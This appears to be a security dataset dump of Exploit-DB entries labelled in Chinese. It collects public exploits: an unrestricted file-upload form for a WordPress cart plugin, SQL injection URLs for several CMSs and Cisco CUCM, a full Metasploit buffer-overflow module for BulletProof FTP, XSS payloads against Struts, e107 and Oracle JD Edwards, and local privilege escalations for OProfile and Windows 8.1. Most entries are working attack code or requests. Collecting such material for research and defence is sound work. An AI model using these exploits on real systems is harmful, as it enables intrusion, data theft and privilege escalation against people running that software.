QLWD/code_shield huggingface dataset:
标题: WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload EDB-ID: 35730 CVE: 2014-9308 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-08 漏洞利用脚本: <!--
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 29-10-2014
# Software Link: https://wordpress.org/plugins/wp-easycart/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9308
# Category: webapps

1. Description
  
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php

http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html

  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):
-->

<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="datemd5" value="1">
    <input type="file" name="Filedata">
    <input value="Upload!" type="submit">
</form>

<!--
File will be visible:

http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
  
3. Solution:
  
Update to version 3.0.9
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip
--> URL: https://www.exploit-db.com/exploits/35730
标题: Apache Struts 2.0.0 < 2.2.1.1 - XWork 's:submit' HTML Tag Cross-Site Scripting EDB-ID: 35735 CVE: 2011-1772 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/47784/info

Apache Struts is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Successful exploitation requires 'Dynamic Method Invocation' to be enabled by default.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Apache Struts versions 2.0.0 through 2.2.1.1 are vulnerable. 

http://www.example.com/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value URL: https://www.exploit-db.com/exploits/35735
标题: Microweber CMS 0.95 - SQL Injection EDB-ID: 35720 CVE: 2014-9464 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-07 漏洞利用脚本: # Exploit Title: SQL Injection in Microweber CMS 0.95
# Google Dork: N/A
# Date: 12/16/2014
# Exploit Author: Pham Kien Cuong (cuong.k.pham@itas.vn) and ITAS Team (www.itas.vn)
# Vendor Homepage: Microweber (https://microweber.com/)
# Software Link: https://github.com/microweber/microweber
# Version: 0.95
# Tested on: N/A
# CVE : CVE-2014-9464

::PROOF OF CONCEPT::

GET /shop/category:[SQL INJECTION HERE] HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target/shop
Cookie: mw-time546209978=2015-01-05+05%3A19%3A53; PHPSESSID=48500cad98b9fa857b9d82216afe0275
Connection: keep-alive

::REFERENCE::
- http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerability-in-microweber-cms-69.html
- https://www.youtube.com/watch?v=SSE8Xj_-QaQ
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9464

::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK. URL: https://www.exploit-db.com/exploits/35720
标题: Sefrengo CMS 1.6.0 - SQL Injection EDB-ID: 35722 CVE: 2015-0919 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-07 漏洞利用脚本: Advisory: SQL-Injection in administrative Backend of Sefrengo CMS v.1.6.0
Advisory ID: SROEADV-2015-04
Author: Steffen Rösemann
Affected Software: CMS Sefrengo v.1.6.0 (Release-Date: 18th-Feb-2014)
Vendor URL: http://www.sefrengo.org/start/start.html
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
vulnerabilities in its administrative Backend.

==================
Technical Details:
==================

The administrative Backend of Sefrengo CMS contains a functionality to edit
folders which reside on the CMS. Its located here:

http://{TARGET}/backend/main.php?area=con_configcat&idcat=1&idtplconf=0

The parameter „idcat“ ist vulnerable against SQL-Injection. An attacker
could abuse this to send crafted URLs to the administrator via mail to
execute own SQL commands (e.g. create a second admin-account).

Exploit-Example:

http://
{TARGET}/backend/main.php?area=con_configcat&idcat=1'+and+'1'='2'+union+select+version(),user(),3,4+--+&idtplconf=0

Another SQL-Injection vulnerability can be found in the administrative
backend, where the admin can manage installed plugins. The vulnerable
parameter is „idclient“ in the following URL:

http://{TARGET}/backend/main.php?area=plug&idclient=1

Exploit-Example:

http://
{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
21-Dec-2014 –found the vulnerability
21-Dec-2014 - informed the developers
22-Dec-2014 - response by vendor
04-Jan-2015 – fix by vendor
04-Jan-2015 - release date of this security advisory
04-Jan-2015 - post on BugTraq / FullDisclosure

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

http://www.sefrengo.org/start/start.html
http://sroesemann.blogspot.de URL: https://www.exploit-db.com/exploits/35722
标题: BulletProof FTP Client - BPS Buffer Overflow (Metasploit) EDB-ID: 35712 CVE: 2014-2973 类型: LOCAL 平台: WINDOWS 发布日期: 2015-01-06 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BulletProof FTP Client BPS Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        BulletProof FTP Client 2010, caused by an overly long hostname.
        By persuading the victim to open a specially-crafted .BPS file, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gabor Seljan'
        ],
      'References'     =>
        [
          [ 'EDB', '34162' ],
          [ 'EDB', '34540' ],
          [ 'EDB', '35449' ],
          [ 'OSVDB', '109547' ],
          [ 'CVE', '2014-2973' ],
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d\x1a",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 89,
              'Ret'    => 0x74c86a98  # POP EDI # POP ESI # RET [oleacc.dll]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 24 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
      ],
    self.class)
  end

  def exploit
    eggoptions = {
      :checksum => true,
      :eggtag => 'w00t'
    }

    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
    sploit << rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter               + "\r\n"  # FTP Server HOST / IP
    sploit << rand_text_numeric(5) + "\r\n"  # Port number
    sploit << egg                  + "\r\n"  # Login name
    sploit << rand_text_alpha(8)   + "\r\n"  # Login password

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(sploit)
  end

end URL: https://www.exploit-db.com/exploits/35712
标题: Crea8Social 2.0 - Cross-Site Scripting Change Interface EDB-ID: 35691 CVE: 2015-1054 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-04 漏洞利用脚本: # Exploit Title: Crea8Social v.2.0 XSS Change Interface
# Google Dork: intext:Copyright © 2014 CreA8social.
# Date: January 3, 2015
# Exploit Author: r0seMary
# Vendor Homepage: http://crea8social.com
# Software Link: http://codecanyon.net/item/crea8social-php-social-networking-platform-v20/9211270 or http://crea8social.com
# Version: v.2.0 (Latest version)
# Tested on: Windows 7
# CVE : -
================================================================================
Bismillahirahmanirahim
Assalamualaikum Wr.Wb

--[Fatal Xss Vulnerability]--
1. Register on the site
2. Go to Menu, Click Game
3. Add Game
4. At Game Content, enter your xss code. for example:
<script>document.body.innerHTML="your text here"</script><noscript>

look at the result, the user interface change into your xss code ;)

Proof of Concept:
http://104.131.164.9/demo/games/124 (Crea8Social Official Site)

./r0seMary
Wassalamualaikum.wr.wb URL: https://www.exploit-db.com/exploits/35691
标题: OProfile 0.9.6 - 'opcontrol' Utility 'set_event()' Local Privilege Escalation EDB-ID: 35681 CVE: 2011-1760 类型: LOCAL 平台: LINUX 发布日期: 2011-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/47652/info

OProfile is prone to a local privilege-escalation vulnerability.

An attacker can exploit this issue to run arbitrary commands with superuser privileges. 

The following example command is available:

sudo opcontrol -e "abcd;/usr/bin/id" URL: https://www.exploit-db.com/exploits/35681
标题: Cisco Unified Communications Manager 8.5 - 'xmldirectorylist.jsp' Multiple SQL Injections EDB-ID: 35672 CVE: 2011-1609 类型: WEBAPPS 平台: JSP 发布日期: 2011-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/47607/info

Cisco Unified Communications Manager is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an authenticated attacker to compromise the affected device, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||0/1%20OR%201=1))%20--
http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||1/0%20OR%201=1))%20-- URL: https://www.exploit-db.com/exploits/35672
标题: e107 2 Bootstrap CMS - Cross-Site Scripting EDB-ID: 35679 CVE: 2015-1057 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-03 漏洞利用脚本: _____       _____  ______
|  _  |     |  _  ||___  /
| |/' |_  __| |_| |   / / 
|  /| \ \/ /\____ |  / /  
\ |_/ />  < .___/ /./ /   
 \___//_/\_\\____/ \_/    
                        by bl4ck s3c


# Exploit Title: e107 v2 Bootstrap CMS XSS Vulnerability
# Date: 03-01-2014
# Google Dork : Proudly powered by e107 
# Exploit Author: Ahmet Agar / 0x97
# Version: 2.0.0
# Vendor Homepage: http://e107.org/
# Tested on: OWASP Mantra & Iceweasel
 
# Vulnerability Description:

CMS user details section is vulnerable to XSS. You can run XSS payloads.

XSS Vulnerability #1:

Go Update user settings page

"http://{target-url}/usersettings.php"

Set Real Name value;

"><script>alert(String.fromCharCode(88, 83, 83))</script>

or

"><script>alert(document.cookie)</script>


========
Credits:
========
 
Vulnerability found and advisory written by Ahmet Agar.
 
===========
References:
===========
 
http://www.0x97.info
htts://twitter.com/_HacKingZ_ URL: https://www.exploit-db.com/exploits/35679
标题: Microsoft Windows 8.1 (x86/x64) - 'ahcache.sys' NtApphelpCacheControl Privilege Escalation EDB-ID: 35661 CVE: 2015-0002 类型: LOCAL 平台: WINDOWS 发布日期: 2015-01-01 漏洞利用脚本: # Source: https://code.google.com/p/google-security-research/issues/detail?id=118#c1
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35661-poc.zip


Platform: Windows 8.1 Update 32/64 bit (No other OS tested)

On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext.

This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways. 

It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre-existing app compat configuration to abuse. 

It's unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes. 

The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I'd recommend running on 32 bit just to be sure. To verify perform the following steps:

1) Put the AppCompatCache.exe and Testdll.dll on disk
2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables). 
3) Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll". 
4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run. URL: https://www.exploit-db.com/exploits/35661
标题: Social Microblogging PRO 1.5 - Persistent Cross-Site Scripting EDB-ID: 35659 CVE: 2014-9516 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-31 漏洞利用脚本: # Exploit Title: Social Microblogging PRO 1.5 Stored XSS Vulnerability
# Date: 29-12-2014
# Exploit Author: Halil Dalabasmaz
# Version: v1.5
# Vendor Homepage:
http://codecanyon.net/item/social-microblogging-pro/9217005
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
"Web Site" input is not secure at Profile section. You can run XSS payloads
on "Web Site" input.

Sample Payload for Stored XSS: http://example.com/">[xssPayload]

=Solution=
Filter the input field against to XSS attacks.
================ URL: https://www.exploit-db.com/exploits/35659
标题: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/JASMafletMafBrowserClose.mafService?jdemafjasLinkTarget' Cross-Site Scripting EDB-ID: 35642 CVE: 2011-0836 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/47479/info
    
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

* http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget



* The GET request has been set to: E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"



/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace=
HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED URL: https://www.exploit-db.com/exploits/35642
标题: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/MafletClose.mafService?RENDER_MAFLET' Cross-Site Scripting EDB-ID: 35641 CVE: 2011-0836 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/47479/info
   
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET



* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"



/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED URL: https://www.exploit-db.com/exploits/35641
标题: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/E1Menu_OCL.mafService?e1.namespace' Cross-Site Scripting EDB-ID: 35640 CVE: 2011-0836 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/47479/info
  
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService

Parameter: e1.namespace



* The GET request has been set to: %2Balert%2848981%29%2B



/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=1290796450377
HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED URL: https://www.exploit-db.com/exploits/35640
标题: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/E1Menu.maf?jdeowpBackButtonProtect' Cross-Site Scripting EDB-ID: 35638 CVE: 2011-0836 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/47479/info

Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect



* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX URL: https://www.exploit-db.com/exploits/35638
标题: Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - '/jde/E1Menu_Menu.mafService?e1.namespace' Cross-Site Scripting EDB-ID: 35639 CVE: 2011-0836 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/47479/info
 
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 


http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService

Parameter: e1.namespace



* The POST request has been set to: %2Balert%2835890%29%2B

 /jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|

Content-Length: 12

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Content-Type: application/x-www-form-urlencoded

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED



nodeId=&a=lc URL: https://www.exploit-db.com/exploits/35639
标题: Easy File Sharing Web Server 6.8 - Persistent Cross-Site Scripting EDB-ID: 35626 CVE: 2014-9439 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-27 漏洞利用脚本: Exploit Title: Easy File Sharing Webserver =>6.8 Persistent XSS
Date: 12/26/14
Exploit Author: SickPsycko
Vendor Homepage: http://www.sharing-file.com/
Version:6.8
Tested on: Windows 7 32bit

The exploit is within the username field.
So to exploit this vulnerability, One must place the payload into the
specified field when registering.

http://i.imgur.com/bibu81C.png
Once logged in. User will be greeted with such. URL: https://www.exploit-db.com/exploits/35626